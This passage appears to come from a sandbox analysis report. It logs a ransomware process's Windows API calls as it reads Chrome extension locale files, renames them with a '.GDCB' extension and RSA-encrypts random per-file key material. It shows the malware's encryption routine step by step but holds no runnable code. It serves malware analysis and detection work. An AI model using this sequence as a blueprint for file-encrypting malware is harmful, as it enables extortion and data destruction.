Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.gdcb")) returned 1 [0256.851] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.854] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.856] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.856] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.856] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.856] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0256.858] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.860] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.861] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.861] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.861] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.863] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790f20) returned 1 [0256.863] CryptGetKeyParam (in: hKey=0x6790f20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.863] CryptEncrypt (in: hKey=0x6790f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.864] GetLastError () returned 0x0 [0256.864] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.864] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.865] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790960) returned 1 [0256.865] CryptGetKeyParam (in: hKey=0x6790960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.865] CryptEncrypt (in: hKey=0x6790960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.866] GetLastError () returned 0x0 [0256.866] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.866] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.867] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.870] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.872] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xda, lpOverlapped=0x0) returned 1 [0256.881] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.888] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.gdcb")) returned 1 [0256.893] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.896] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.898] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.898] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.898] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.898] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.900] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.902] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.902] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.902] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.903] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.905] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790ca0) returned 1 [0256.905] CryptGetKeyParam (in: hKey=0x6790ca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.905] CryptEncrypt (in: hKey=0x6790ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.905] GetLastError () returned 0x0 [0256.905] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.905] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.907] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790d20) returned 1 [0256.907] CryptGetKeyParam (in: hKey=0x6790d20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.907] CryptEncrypt (in: hKey=0x6790d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.908] GetLastError () returned 0x0 [0256.908] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.908] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.909] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.912] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.914] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe4, lpOverlapped=0x0) returned 1 [0256.924] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.930] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.gdcb")) returned 1 [0256.936] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.939] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.943] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.943] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.943] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.943] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0256.946] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.948] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.948] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.948] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.948] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.951] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790ea0) returned 1 [0256.951] CryptGetKeyParam (in: hKey=0x6790ea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.951] CryptEncrypt (in: hKey=0x6790ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.951] GetLastError () returned 0x0 [0256.951] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.951] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.953] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790aa0) returned 1 [0256.953] CryptGetKeyParam (in: hKey=0x6790aa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.953] CryptEncrypt (in: hKey=0x6790aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.953] GetLastError () returned 0x0 [0256.953] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.953] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.954] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.957] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.960] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe0, lpOverlapped=0x0) returned 1 [0256.969] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.976] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.gdcb")) returned 1 [0256.981] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.985] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.988] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.988] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.988] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.988] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0256.990] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.993] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.993] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.993] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.993] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.995] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790a60) returned 1 [0256.995] CryptGetKeyParam (in: hKey=0x6790a60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.995] CryptEncrypt (in: hKey=0x6790a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.995] GetLastError () returned 0x0 [0256.995] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.995] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.997] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790d60) returned 1 [0256.997] CryptGetKeyParam (in: hKey=0x6790d60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.997] CryptEncrypt (in: hKey=0x6790d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.997] GetLastError () returned 0x0 [0256.997] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.997] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.999] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.002] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.004] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xcf, lpOverlapped=0x0) returned 1 [0257.013] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.019] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.gdcb")) returned 1 [0257.024] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.027] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.029] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.029] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.029] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.029] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.032] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.034] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.034] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.034] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.035] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.037] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67909a0) returned 1 [0257.037] CryptGetKeyParam (in: hKey=0x67909a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.037] CryptEncrypt (in: hKey=0x67909a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.037] GetLastError () returned 0x0 [0257.037] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.037] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0257.039] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790da0) returned 1 [0257.039] CryptGetKeyParam (in: hKey=0x6790da0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.039] CryptEncrypt (in: hKey=0x6790da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.039] GetLastError () returned 0x0 [0257.039] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.039] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.040] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.043] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.045] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd9, lpOverlapped=0x0) returned 1 [0257.054] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.061] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user 